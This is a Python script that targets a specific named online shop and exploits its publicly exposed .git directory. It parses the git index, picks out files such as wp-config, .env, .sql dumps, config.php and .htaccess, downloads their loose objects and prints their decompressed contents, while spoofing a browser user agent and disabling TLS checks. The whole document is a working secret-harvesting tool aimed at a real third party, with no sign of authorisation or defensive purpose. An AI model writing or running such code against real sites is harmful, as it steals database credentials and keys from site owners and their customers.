import asyncio, struct, zlib
import aiohttp

BASE = "https://smileshoponline.com"
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}


def parse_index(buf):
    sig = buf[:4]
    ver, cnt = struct.unpack(">II", buf[4:12])
    off = 12
    out = []
    for _ in range(cnt):
        sha = buf[off + 40:off + 60].hex()
        flags = struct.unpack(">H", buf[off + 60:off + 62])[0]
        namelen = flags & 0xFFF
        name = buf[off + 62:off + 62 + namelen].decode("utf-8", "replace")
        off += (62 + namelen + 8) & ~7
        out.append((name, sha))
    return sig, ver, cnt, out


async def get(sess, path):
    async with sess.get(BASE + path, ssl=False) as r:
        return r.status, await r.read()


async def main():
    tout = aiohttp.ClientTimeout(total=60, connect=8, sock_read=45)
    async with aiohttp.ClientSession(timeout=tout, headers=UA) as s:
        st, buf = await get(s, "/.git/index")
        print("index http=", st, "bytes=", len(buf))
        sig, ver, cnt, entries = parse_index(buf)
        print("sig", sig, "version", ver, "count", cnt, "parsed", len(entries))
        paths = [e[0] for e in entries]
        print("--- files matching config/env/sql ---")
        for p in paths:
            if any(k in p.lower() for k in ("config", ".env", ".sql", ".htaccess", "composer", "auth", "key")):
                print("  ", p)
        print("--- first 20 paths ---")
        for p in paths[:20]:
            print("  ", p)
        for probe in ("/.git/objects/info/packs", "/.git/objects/info/alternates"):
            st2, b2 = await get(s, probe)
            print(probe, "->", st2, b2[:120])
        targets = [e for e in entries if any(k in e[0].lower() for k in
                   ("wp-config", ".env", ".sql", "config.php", "composer.json", ".htaccess"))]
        for name, sha in targets[:20]:
            st3, blob = await get(s, f"/.git/objects/{sha[:2]}/{sha[2:]}")
            if st3 != 200:
                print(f"  {name} [{st3}] object not loose")
                continue
            try:
                raw = zlib.decompress(blob)
            except Exception:
                print(f"  {name} [{st3}] zlib fail")
                continue
            body = raw[raw.find(b"\x00") + 1:].decode("utf-8", "replace")
            print(f"  === {name} ({len(body)} bytes)")
            print("\n".join("     " + l for l in body.splitlines()[:20]))

asyncio.run(main())
